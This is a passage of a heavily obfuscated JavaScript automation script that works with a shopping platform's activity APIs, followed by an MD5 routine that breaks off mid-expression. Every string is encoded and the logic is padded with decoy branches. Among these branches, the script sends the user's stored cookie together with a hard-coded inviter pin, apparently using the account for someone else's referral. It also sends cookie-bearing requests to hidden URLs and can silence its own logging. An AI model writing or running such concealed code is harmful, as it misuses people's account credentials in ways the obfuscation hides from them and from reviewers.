_0x3007b2[_0x2386('‫1c7')](_0x553937,_0x1761c7);},'vCnKO':_0x3007b2[_0x2386('‫1c8')],'kGbxB':_0x3007b2[_0x2386('‮1c9')],'hKiSX':_0x3007b2[_0x2386('‮1ca')],'wHiXD':function(_0x109cd0){return _0x3007b2[_0x2386('‮1cb')](_0x109cd0);}};$[_0x2386('‫194')](opt,(_0x4ed2da,_0xbf68ad,_0x582cc9)=>{var _0x1feddb={'EnbYB':_0x4216f8[_0x2386('‮1cc')],'wMxkk':_0x4216f8[_0x2386('‫1cd')],'lbyam':function(_0x14e646,_0x46e8c5){return _0x4216f8[_0x2386('‮1ce')](_0x14e646,_0x46e8c5);},'RYkBl':_0x4216f8[_0x2386('‮1cf')],'NUxsR':_0x4216f8[_0x2386('‫1d0')],'HpBuf':function(_0x2aa6d8,_0xb64210){return _0x4216f8[_0x2386('‮1d1')](_0x2aa6d8,_0xb64210);},'KDSer':_0x4216f8[_0x2386('‮1d2')],'jvXNK':_0x4216f8[_0x2386('‮1d3')],'aSuxh':_0x4216f8[_0x2386('‮1d4')],'PeYCy':_0x4216f8[_0x2386('‮1d5')],'sbuIM':_0x4216f8[_0x2386('‫1d6')],'grMfd':function(_0x120b05,_0x3126c1){return _0x4216f8[_0x2386('‮1d1')](_0x120b05,_0x3126c1);},'ILoFS':_0x4216f8[_0x2386('‫1d7')],'ZLOkN':_0x4216f8[_0x2386('‮1d8')],'SqXdI':_0x4216f8[_0x2386('‮1d9')],'NBkfA':_0x4216f8[_0x2386('‮1da')],'aSljF':_0x4216f8[_0x2386('‮1db')],'jBhzv':function(_0x4b4898,_0x7e4e33){return _0x4216f8[_0x2386('‫1dc')](_0x4b4898,_0x7e4e33);},'PMqfP':function(_0x4b7636,_0x44967a){return _0x4216f8[_0x2386('‮1dd')](_0x4b7636,_0x44967a);},'ngWfx':_0x4216f8[_0x2386('‫1de')]};if(_0x4216f8[_0x2386('‫1df')](_0x4216f8[_0x2386('‮1e0')],_0x4216f8[_0x2386('‮1e1')])){$[_0x2386('‫b')](_0x4216f8[_0x2386('‮1e2')]);}else{try{if(_0x4ed2da){console[_0x2386('‫b')](_0x4ed2da);}else{if(_0x4216f8[_0x2386('‮1e3')](_0x4216f8[_0x2386('‮1e4')],_0x4216f8[_0x2386('‮1e5')])){res=JSON[_0x2386('‫e')](_0x582cc9);if(res[_0x2386('‫3a')]){console[_0x2386('‫b')](res);$[_0x2386('‫1e6')]=res[_0x2386('‮1e7')];}}else{$[_0x2386('‫2e')]=0x1;$[_0x2386('‫15e')]=_0x1feddb[_0x2386('‫1e8')];const _0x15fc20=[_0x1feddb[_0x2386('‫1e9')]];let _0x2834e0=_0x15fc20[Math[_0x2386('‫139')](_0x1feddb[_0x2386('‫1ea')](Math[_0x2386('‫13b')](),_0x15fc20[_0x2386('‮31')]))];let _0x3af506={'url':_0x1feddb[_0x2386('‫1eb')],'body':_0x2386('‫163')+JSON[_0x2386('‫dc')]({'method':_0x1feddb[_0x2386('‫1ec')],'data':{'channel':'1','encryptionInviterPin':_0x1feddb[_0x2386('‮1ed')](encodeURIComponent,_0x2834e0),'type':0x1}})+_0x2386('‫166')+Date[_0x2386('‫167')](),'headers':{'Host':_0x1feddb[_0x2386('‫1ee')],'Accept':_0x1feddb[_0x2386('‫1ef')],'Content-Type':_0x1feddb[_0x2386('‫1f0')],'Origin':_0x1feddb[_0x2386('‮1f1')],'Accept-Language':_0x1feddb[_0x2386('‮1f2')],'User-Agent':$[_0x2386('‫1')]()?process[_0x2386('‫8')][_0x2386('‮16d')]?process[_0x2386('‫8')][_0x2386('‮16d')]:_0x1feddb[_0x2386('‫1f3')](require,_0x1feddb[_0x2386('‮1f4')])[_0x2386('‮170')]:$[_0x2386('‮c')](_0x1feddb[_0x2386('‮1f5')])?$[_0x2386('‮c')](_0x1feddb[_0x2386('‮1f5')]):_0x1feddb[_0x2386('‫1f6')],'Referer':_0x1feddb[_0x2386('‮1f7')],'Accept-Encoding':_0x1feddb[_0x2386('‫1f8')],'Cookie':maincookie}};$[_0x2386('‮122')](_0x3af506,(_0x3e3cf9,_0xb23fb9,_0x1f4a5a)=>{});}}}catch(_0x474fa6){if(_0x4216f8[_0x2386('‮1f9')](_0x4216f8[_0x2386('‮1fa')],_0x4216f8[_0x2386('‫1fb')])){console[_0x2386('‫b')](_0x474fa6);}else{result[_0x2386('‫7')](cookiesArr[_0x2386('‮32')](i,_0x1feddb[_0x2386('‮1fc')](i,0xf)));}}finally{if(_0x4216f8[_0x2386('‮1f9')](_0x4216f8[_0x2386('‮1fd')],_0x4216f8[_0x2386('‮1fd')])){Object[_0x2386('‫5')](jdCookieNode)[_0x2386('‫6')](_0x163086=>{cookiesArr[_0x2386('‫7')](jdCookieNode[_0x163086]);});if(process[_0x2386('‫8')][_0x2386('‫9')]&&_0x1feddb[_0x2386('‮1fe')](process[_0x2386('‫8')][_0x2386('‫9')],_0x1feddb[_0x2386('‮1ff')]))console[_0x2386('‫b')]=()=>{};}else{_0x4216f8[_0x2386('‫200')](_0x4b4165);}}}});});}function taskUrl(_0x1160a6,_0x5727b9,_0x3d002=0x1){var _0x336868={'OvWNB':_0x2386('‫201'),'ATmkY':_0x2386('‫202'),'ezNYo':_0x2386('‮203'),'bJhza':_0x2386('‫158'),'fMYQg':_0x2386('‮15d'),'MnTYX':_0x2386('‫204'),'KnkCb':_0x2386('‫205'),'boWml':_0x2386('‮17b'),'MRGYo':_0x2386('‫206')};return{'url':_0x3d002?_0x2386('‮207')+_0x1160a6+_0x2386('‫208')+($[_0x2386('‫9a')]?$[_0x2386('‫9a')]:'')+_0x2386('‫209')+($[_0x2386('‫130')]?$[_0x2386('‫130')]:''):_0x2386('‮207')+_0x1160a6+_0x2386('‫208')+($[_0x2386('‫9a')]?$[_0x2386('‫9a')]:'')+_0x2386('‮20a')+($[_0x2386('‫130')]?$[_0x2386('‫130')]:''),'headers':{'Host':_0x336868[_0x2386('‫20b')],'Accept':_0x336868[_0x2386('‮20c')],'X-Requested-With':_0x336868[_0x2386('‫20d')],'Accept-Language':_0x336868[_0x2386('‫20e')],'Accept-Encoding':_0x336868[_0x2386('‫20f')],'Content-Type':_0x336868[_0x2386('‮210')],'Origin':_0x336868[_0x2386('‮211')],'User-Agent':_0x2386('‮183')+$[_0x2386('‫55')]+_0x2386('‮184')+$[_0x2386('‮52')]+_0x2386('‮185'),'Connection':_0x336868[_0x2386('‫212')],'Referer':_0x336868[_0x2386('‫213')],'Cookie':cookie},'body':JSON[_0x2386('‫dc')](_0x5727b9)};}function getToken(){var _0x201e18={'JJTPa':_0x2386('‫97'),'csdPa':function(_0x3e86ff){return _0x3e86ff();},'djAYT':function(_0x1bcec4,_0x1ae800){return _0x1bcec4===_0x1ae800;},'brsNu':_0x2386('‮214'),'kgYrp':function(_0x6b89a,_0x3fb73c){return _0x6b89a!==_0x3fb73c;},'ORQUS':_0x2386('‮215'),'jpaZs':_0x2386('‮216'),'UiSSk':function(_0x1f7782,_0x3ccc16){return _0x1f7782===_0x3ccc16;},'XxZEX':_0x2386('‮ed'),'szntL':_0x2386('‮217'),'FubDB':function(_0x39b919){return _0x39b919();},'lDnKy':_0x2386('‫218'),'lesNe':_0x2386('‮154'),'iDJVb':_0x2386('‮156'),'NNmuj':_0x2386('‫17a'),'gjEhV':_0x2386('‮17b'),'sZMuS':_0x2386('‮219'),'zSfed':_0x2386('‮21a'),'jXJlb':_0x2386('‮15d')};let _0x805c98={'url':_0x2386('‮21b'),'headers':{'Host':_0x201e18[_0x2386('‫21c')],'Content-Type':_0x201e18[_0x2386('‮21d')],'Accept':_0x201e18[_0x2386('‫21e')],'Connection':_0x201e18[_0x2386('‫21f')],'Cookie':cookie,'User-Agent':_0x201e18[_0x2386('‫220')],'Accept-Language':_0x201e18[_0x2386('‮221')],'Accept-Encoding':_0x201e18[_0x2386('‫222')]},'body':_0x2386('‮223')};return new Promise(_0x14efd4=>{var _0x3e810b={'paQrB':function(_0x37dc58){return _0x201e18[_0x2386('‫224')](_0x37dc58);},'jVWkG':function(_0x25bb72,_0x1c68fe){return _0x201e18[_0x2386('‫225')](_0x25bb72,_0x1c68fe);},'mHWMm':_0x201e18[_0x2386('‮226')],'kaWCI':function(_0x5ecbb1,_0xac34a3){return _0x201e18[_0x2386('‫227')](_0x5ecbb1,_0xac34a3);},'FSNBH':_0x201e18[_0x2386('‮228')],'WmyZm':_0x201e18[_0x2386('‮229')],'AgkTI':function(_0x26e0e9,_0x8b0243){return _0x201e18[_0x2386('‮22a')](_0x26e0e9,_0x8b0243);},'PuDpY':_0x201e18[_0x2386('‫22b')],'eIQLL':function(_0x416fec,_0x28ce77){return _0x201e18[_0x2386('‮22a')](_0x416fec,_0x28ce77);},'sntvo':_0x201e18[_0x2386('‫22c')],'cyRfp':function(_0x194631){return _0x201e18[_0x2386('‫22d')](_0x194631);}};if(_0x201e18[_0x2386('‫227')](_0x201e18[_0x2386('‫22e')],_0x201e18[_0x2386('‫22e')])){$[_0x2386('‫b')](_0x201e18[_0x2386('‫22f')]);}else{$[_0x2386('‮122')](_0x805c98,(_0x326486,_0x25ef79,_0x259d33)=>{if(_0x3e810b[_0x2386('‮230')](_0x3e810b[_0x2386('‫231')],_0x3e810b[_0x2386('‫231')])){try{if(_0x3e810b[_0x2386('‫232')](_0x3e810b[_0x2386('‫233')],_0x3e810b[_0x2386('‫234')])){if(_0x326486){$[_0x2386('‫b')](_0x326486);}else{if(_0x259d33){_0x259d33=JSON[_0x2386('‫e')](_0x259d33);if(_0x3e810b[_0x2386('‮235')](_0x259d33[_0x2386('‫14b')],'0')){$[_0x2386('‫99')]=_0x259d33[_0x2386('‫99')];}}else{$[_0x2386('‫b')](_0x3e810b[_0x2386('‫236')]);}}}else{$[_0x2386('‫99')]=_0x259d33[_0x2386('‫99')];}}catch(_0x2e519e){$[_0x2386('‫b')](_0x2e519e);}finally{if(_0x3e810b[_0x2386('‮237')](_0x3e810b[_0x2386('‮238')],_0x3e810b[_0x2386('‮238')])){_0x3e810b[_0x2386('‫239')](_0x14efd4);}else{res=JSON[_0x2386('‫e')](_0x259d33);if(res[_0x2386('‫3a')]){console[_0x2386('‫b')](res);$[_0x2386('‫1e6')]=res[_0x2386('‮1e7')];}}}}else{_0x3e810b[_0x2386('‮23a')](_0x14efd4);}});}});}function random(_0x3ba179,_0x349b9e){var _0x390b2f={'WIvBH':function(_0xfeccc2,_0x597dcf){return _0xfeccc2+_0x597dcf;},'QwLXL':function(_0x363d88,_0x19759c){return _0x363d88*_0x19759c;},'KTeVO':function(_0x14ae0c,_0x32be37){return _0x14ae0c-_0x32be37;}};return _0x390b2f[_0x2386('‮23b')](Math[_0x2386('‫139')](_0x390b2f[_0x2386('‫23c')](Math[_0x2386('‫13b')](),_0x390b2f[_0x2386('‮23d')](_0x349b9e,_0x3ba179))),_0x3ba179);}function getUUID(_0x2b893c=_0x2386('‮1e'),_0x523cc1=0x0){var _0x289b11={'aWMMn':function(_0x24bb97,_0x363d7f){return _0x24bb97|_0x363d7f;},'Bhien':function(_0x5ea0c6,_0x406335){return _0x5ea0c6*_0x406335;},'mZyZM':function(_0xb2fe86,_0x2aeb1d){return _0xb2fe86==_0x2aeb1d;},'qTqpG':function(_0xa7efa0,_0x225027){return _0xa7efa0&_0x225027;},'VRmJT':function(_0x423a06,_0x35e954){return _0x423a06===_0x35e954;},'rdJpo':_0x2386('‫23e')};return _0x2b893c[_0x2386('‮de')](/[xy]/g,function(_0x4c63ad){var _0x11d2d0=_0x289b11[_0x2386('‮23f')](_0x289b11[_0x2386('‫240')](Math[_0x2386('‫13b')](),0x10),0x0),_0x16fa86=_0x289b11[_0x2386('‮241')](_0x4c63ad,'x')?_0x11d2d0:_0x289b11[_0x2386('‮23f')](_0x289b11[_0x2386('‮242')](_0x11d2d0,0x3),0x8);if(_0x523cc1){uuid=_0x16fa86[_0x2386('‫ea')](0x24)[_0x2386('‮19c')]();}else{if(_0x289b11[_0x2386('‮243')](_0x289b11[_0x2386('‫244')],_0x289b11[_0x2386('‫244')])){uuid=_0x16fa86[_0x2386('‫ea')](0x24);}else{$[_0x2386('‮4a')]=data[_0x2386('‮12a')][_0x2386('‫245')][_0x2386('‮246')][_0x2386('‮247')];}}return uuid;});}function checkCookie(){var _0x2232d6={'vTaPj':_0x2386('‮d'),'nNUCM':_0x2386('‫12'),'LqVym':_0x2386('‮13'),'MSzfH':_0x2386('‮ed'),'HulCj':function(_0x4b0df1,_0x28d4aa){return _0x4b0df1|_0x28d4aa;},'XPbzq':function(_0x40dab6,_0x453336){return _0x40dab6*_0x453336;},'YUhha':function(_0x4e7046,_0xfe466b){return _0x4e7046==_0xfe466b;},'alyiB':function(_0x1b46a1,_0x298bf6){return _0x1b46a1&_0x298bf6;},'hXTdg':function(_0x2b0184,_0x1537cd){return _0x2b0184!==_0x1537cd;},'WosMj':_0x2386('‮248'),'uQKNm':_0x2386('‫249'),'UmHLq':function(_0x38f7f2,_0x1bdfb3){return _0x38f7f2===_0x1bdfb3;},'VatmZ':_0x2386('‫24a'),'msNsT':function(_0x18929b,_0x1170b7){return _0x18929b===_0x1170b7;},'RChIN':_0x2386('‫245'),'jJSnS':_0x2386('‮24b'),'HqEud':_0x2386('‮24c'),'lUyCP':_0x2386('‫24d'),'qfLxM':function(_0x2d7f7a){return _0x2d7f7a();},'oepWT':function(_0x4c6a56,_0x4d7cad){return _0x4c6a56!==_0x4d7cad;},'PZzgT':_0x2386('‮24e'),'dnMea':_0x2386('‫24f'),'BcKug':_0x2386('‫250'),'mhNwE':_0x2386('‫17a'),'EHSpA':_0x2386('‮17b'),'rdduT':_0x2386('‫251'),'tHRtP':_0x2386('‫17c'),'unjwI':_0x2386('‮252'),'OadPI':_0x2386('‮15d')};const _0x25fb3d={'url':_0x2232d6[_0x2386('‫253')],'headers':{'Host':_0x2232d6[_0x2386('‮254')],'Accept':_0x2232d6[_0x2386('‮255')],'Connection':_0x2232d6[_0x2386('‫256')],'Cookie':cookie,'User-Agent':_0x2232d6[_0x2386('‫257')],'Accept-Language':_0x2232d6[_0x2386('‮258')],'Referer':_0x2232d6[_0x2386('‫259')],'Accept-Encoding':_0x2232d6[_0x2386('‫25a')]}};return new Promise(_0x1536e8=>{var _0x24191f={'Mujca':_0x2232d6[_0x2386('‫25b')],'pGMad':_0x2232d6[_0x2386('‮25c')],'QjuxJ':_0x2232d6[_0x2386('‮25d')],'HdVAu':_0x2232d6[_0x2386('‮25e')],'guLwx':function(_0x43278e,_0x40c460){return _0x2232d6[_0x2386('‮25f')](_0x43278e,_0x40c460);},'aDmZt':function(_0x3f8f88,_0x90deae){return _0x2232d6[_0x2386('‮260')](_0x3f8f88,_0x90deae);},'iXCEB':function(_0x5e9f4e,_0xf1008d){return _0x2232d6[_0x2386('‫261')](_0x5e9f4e,_0xf1008d);},'NSpSK':function(_0x6c3a5f,_0x3a04c3){return _0x2232d6[_0x2386('‫262')](_0x6c3a5f,_0x3a04c3);},'mgvqW':function(_0x52f831,_0x64100e){return _0x2232d6[_0x2386('‮263')](_0x52f831,_0x64100e);},'vkriL':_0x2232d6[_0x2386('‫264')],'aKOGZ':_0x2232d6[_0x2386('‫265')],'aiovN':function(_0xd849f2,_0x38c70a){return _0x2232d6[_0x2386('‫266')](_0xd849f2,_0x38c70a);},'egvNp':_0x2232d6[_0x2386('‫267')],'ONXFS':function(_0x349604,_0x1c37aa){return _0x2232d6[_0x2386('‮268')](_0x349604,_0x1c37aa);},'sLMTq':_0x2232d6[_0x2386('‫269')],'veoLZ':function(_0xfc6a60,_0x5035ae){return _0x2232d6[_0x2386('‮263')](_0xfc6a60,_0x5035ae);},'FOlDi':_0x2232d6[_0x2386('‫26a')],'YxJDu':function(_0x5e59ca,_0x3abf9f){return _0x2232d6[_0x2386('‮268')](_0x5e59ca,_0x3abf9f);},'kWnmz':_0x2232d6[_0x2386('‮26b')],'eVUCB':_0x2232d6[_0x2386('‮26c')],'svIHq':function(_0x2ba6eb){return _0x2232d6[_0x2386('‫26d')](_0x2ba6eb);}};if(_0x2232d6[_0x2386('‮26e')](_0x2232d6[_0x2386('‫26f')],_0x2232d6[_0x2386('‫26f')])){let _0x28e473=$[_0x2386('‮c')](_0x24191f[_0x2386('‫270')])||'[]';_0x28e473=JSON[_0x2386('‫e')](_0x28e473);cookiesArr=_0x28e473[_0x2386('‫f')](_0x58c127=>_0x58c127[_0x2386('‮10')]);cookiesArr[_0x2386('‫11')]();cookiesArr[_0x2386('‫7')](...[$[_0x2386('‮c')](_0x24191f[_0x2386('‮271')]),$[_0x2386('‮c')](_0x24191f[_0x2386('‮272')])]);cookiesArr[_0x2386('‫11')]();cookiesArr=cookiesArr[_0x2386('‫14')](_0x1ca094=>!!_0x1ca094);}else{$[_0x2386('‫194')](_0x25fb3d,(_0x5e1e88,_0x23ab1f,_0x52d1b9)=>{var _0x31e864={'EmMrM':function(_0x18b623,_0x90411f){return _0x24191f[_0x2386('‫273')](_0x18b623,_0x90411f);},'vkLdG':function(_0xb3bb60,_0x45d468){return _0x24191f[_0x2386('‮274')](_0xb3bb60,_0x45d468);},'qVCcZ':function(_0x757506,_0x552f91){return _0x24191f[_0x2386('‮275')](_0x757506,_0x552f91);},'jkjWz':function(_0x1ca9af,_0xf66d89){return _0x24191f[_0x2386('‫273')](_0x1ca9af,_0xf66d89);},'ReEMv':function(_0x1aaa3b,_0x3ff646){return _0x24191f[_0x2386('‫276')](_0x1aaa3b,_0x3ff646);}};try{if(_0x5e1e88){$[_0x2386('‮277')](_0x5e1e88);}else{if(_0x52d1b9){if(_0x24191f[_0x2386('‫278')](_0x24191f[_0x2386('‫279')],_0x24191f[_0x2386('‮27a')])){_0x52d1b9=JSON[_0x2386('‫e')](_0x52d1b9);if(_0x24191f[_0x2386('‮27b')](_0x52d1b9[_0x2386('‮27c')],_0x24191f[_0x2386('‫27d')])){$[_0x2386('‫49')]=![];return;}if(_0x24191f[_0x2386('‫27e')](_0x52d1b9[_0x2386('‮27c')],'0')&&_0x52d1b9[_0x2386('‮12a')][_0x2386('‮27f')](_0x24191f[_0x2386('‫280')])){if(_0x24191f[_0x2386('‫281')](_0x24191f[_0x2386('‮282')],_0x24191f[_0x2386('‮282')])){console[_0x2386('‫b')](_0x52d1b9[_0x2386('‮12a')]);}else{$[_0x2386('‮4a')]=_0x52d1b9[_0x2386('‮12a')][_0x2386('‫245')][_0x2386('‮246')][_0x2386('‮247')];}}}else{$[_0x2386('‫b')](_0x24191f[_0x2386('‮283')]);}}else{$[_0x2386('‫b')](_0x24191f[_0x2386('‮283')]);}}}catch(_0x181059){$[_0x2386('‮277')](_0x181059);}finally{if(_0x24191f[_0x2386('‮284')](_0x24191f[_0x2386('‫285')],_0x24191f[_0x2386('‫286')])){var _0x9000d2={'SbjRd':function(_0x12e35e,_0x186ab4){return _0x31e864[_0x2386('‮287')](_0x12e35e,_0x186ab4);},'sXaSR':function(_0x1e4492,_0x1ebd3f){return _0x31e864[_0x2386('‫288')](_0x1e4492,_0x1ebd3f);},'vHIOz':function(_0x283bf5,_0xccb8fc){return _0x31e864[_0x2386('‮289')](_0x283bf5,_0xccb8fc);},'nXxFA':function(_0x4c808f,_0x24c443){return _0x31e864[_0x2386('‮28a')](_0x4c808f,_0x24c443);},'xIuUN':function(_0x569bd8,_0x558c19){return _0x31e864[_0x2386('‮28b')](_0x569bd8,_0x558c19);}};return format[_0x2386('‮de')](/[xy]/g,function(_0x392e33){var _0x1eda20=_0x9000d2[_0x2386('‮28c')](_0x9000d2[_0x2386('‮28d')](Math[_0x2386('‫13b')](),0x10),0x0),_0x1149f4=_0x9000d2[_0x2386('‫28e')](_0x392e33,'x')?_0x1eda20:_0x9000d2[_0x2386('‫28f')](_0x9000d2[_0x2386('‮290')](_0x1eda20,0x3),0x8);if(UpperCase){uuid=_0x1149f4[_0x2386('‫ea')](0x24)[_0x2386('‮19c')]();}else{uuid=_0x1149f4[_0x2386('‫ea')](0x24);}return uuid;});}else{_0x24191f[_0x2386('‫291')](_0x1536e8);}}});}});}function geth5st(_0x4e4475,_0x1b958a){var _0x5d45eb={'AaOsc':function(_0x445e93,_0x3632ce){return _0x445e93+_0x3632ce;},'iGikb':_0x2386('‮7d'),'pzpwb':function(_0x182504,_0x3e523e){return _0x182504===_0x3e523e;},'LpUSm':_0x2386('‮292'),'LmynG':_0x2386('‮293'),'rGwJJ':function(_0x57eeb4,_0x3b5e93){return _0x57eeb4(_0x3b5e93);},'KJqiz':_0x2386('‫294'),'KyKYY':_0x2386('‫295'),'ynvsh':_0x2386('‮296'),'XZwBg':_0x2386('‮297'),'YiLnG':function(_0x2320a9,_0x19b1da){return _0x2320a9===_0x19b1da;},'LNdiC':_0x2386('‫298'),'Vjljw':_0x2386('‫299'),'uGmRw':function(_0x2e396f,_0xf8d458){return _0x2e396f*_0xf8d458;},'ofRaB':_0x2386('‫202'),'fgAeS':function(_0x1b83ff,_0x1f2521){return _0x1b83ff*_0x1f2521;}};return new Promise(async _0x4c3cea=>{var _0x291244={'trTWZ':function(_0x11acf0,_0x2819b8){return _0x5d45eb[_0x2386('‫29a')](_0x11acf0,_0x2819b8);},'NWZrh':_0x5d45eb[_0x2386('‫29b')],'WXiXh':function(_0x787742,_0x31d870){return _0x5d45eb[_0x2386('‫29c')](_0x787742,_0x31d870);},'ooaNk':_0x5d45eb[_0x2386('‫29d')],'YPgpE':_0x5d45eb[_0x2386('‮29e')],'doxqz':function(_0x4cee1f,_0xccaa4d){return _0x5d45eb[_0x2386('‮29f')](_0x4cee1f,_0xccaa4d);}};let _0x1c54fd={'appId':_0x5d45eb[_0x2386('‫2a0')],'body':{'appid':_0x5d45eb[_0x2386('‮2a1')],'functionId':_0x4e4475,'body':JSON[_0x2386('‫dc')](_0x1b958a),'clientVersion':_0x5d45eb[_0x2386('‫2a2')],'client':'H5','activityId':$[_0x2386('‫63')]},'callbackAll':!![]};let _0x51d078='';let _0x3cc766=[_0x5d45eb[_0x2386('‫2a3')]];if(process[_0x2386('‫8')][_0x2386('‫19d')]){if(_0x5d45eb[_0x2386('‮2a4')](_0x5d45eb[_0x2386('‮2a5')],_0x5d45eb[_0x2386('‫2a6')])){console[_0x2386('‫b')](error);}else{_0x51d078=process[_0x2386('‫8')][_0x2386('‫19d')];}}else{_0x51d078=_0x3cc766[Math[_0x2386('‫139')](_0x5d45eb[_0x2386('‫2a7')](Math[_0x2386('‫13b')](),_0x3cc766[_0x2386('‮31')]))];}let _0x243a44={'url':_0x2386('‮2a8'),'body':JSON[_0x2386('‫dc')](_0x1c54fd),'headers':{'Host':_0x51d078,'Content-Type':_0x5d45eb[_0x2386('‮2a9')]},'timeout':_0x5d45eb[_0x2386('‮2aa')](0x1e,0x3e8)};$[_0x2386('‮122')](_0x243a44,async(_0x45da1f,_0x1dfd50,_0x1c54fd)=>{var _0x1b7689={'tEfOH':function(_0x4cf8e5,_0x1a96c3){return _0x291244[_0x2386('‫2ab')](_0x4cf8e5,_0x1a96c3);},'vOeTC':_0x291244[_0x2386('‮2ac')]};try{if(_0x45da1f){_0x1c54fd=await geth5st[_0x2386('‫2ad')](this,arguments);}else{}}catch(_0x44a3e3){if(_0x291244[_0x2386('‮2ae')](_0x291244[_0x2386('‮2af')],_0x291244[_0x2386('‮2b0')])){ownCode=$[_0x2386('‫9a')];console[_0x2386('‫b')](_0x1b7689[_0x2386('‮2b1')](_0x1b7689[_0x2386('‮2b2')],ownCode));}else{$[_0x2386('‮277')](_0x44a3e3,_0x1dfd50);}}finally{_0x291244[_0x2386('‫2b3')](_0x4c3cea,_0x1c54fd);}});});}function getSign(_0x5f32f6){var _0x39cb35={'boBdb':_0x2386('‫71'),'LvCaS':_0x2386('‫72'),'QKdgr':function(_0x951eb6,_0x13bfe){return _0x951eb6(_0x13bfe);},'DjDqD':_0x2386('‮73'),'reSvT':_0x2386('‮74'),'uiUvA':function(_0x4137f1,_0xb90172){return _0x4137f1+_0xb90172;},'rqRvw':function(_0x349940,_0x9865b1){return _0x349940+_0x9865b1;},'thxCh':function(_0x14ccda,_0x2fb7e1){return _0x14ccda+_0x2fb7e1;},'PVvcm':function(_0x1ab8ea,_0x209b03){return _0x1ab8ea+_0x209b03;},'thNAG':_0x2386('‫75'),'MbVmF':_0x2386('‫76'),'UiUpI':_0x2386('‮77')};var _0x1cb446=new Date()[_0x2386('‫d9')](),_0xff5fc5=_0x39cb35[_0x2386('‫2b4')],_0x59be36=_0x39cb35[_0x2386('‮2b5')],_0x5b4c36=JSON[_0x2386('‫dc')](_0x5f32f6),_0x1d809a=_0x39cb35[_0x2386('‫2b6')](encodeURIComponent,_0x5b4c36),_0xb73611=new RegExp('\x27','g'),_0x3695d0=new RegExp('~','g'),_0x1d809a=_0x1d809a[_0x2386('‮de')](_0xb73611,_0x39cb35[_0x2386('‫2b7')]),_0x1d809a=_0x1d809a[_0x2386('‮de')](_0x3695d0,_0x39cb35[_0x2386('‮2b8')]),_0x4b7ab2=_0x39cb35[_0x2386('‫2b9')](_0x39cb35[_0x2386('‫2ba')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bc')](_0x39cb35[_0x2386('‫2bc')](_0x59be36,_0x39cb35[_0x2386('‮2bd')]),_0x59be36),_0x39cb35[_0x2386('‮2be')]),_0x1d809a),_0x39cb35[_0x2386('‫2bf')]),_0x1cb446),_0xff5fc5);return{'sign':CryptoJS[_0x2386('‫e8')](_0x4b7ab2[_0x2386('‫e9')]())[_0x2386('‫ea')](),'timeStamp':_0x1cb446};};_0xod9='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 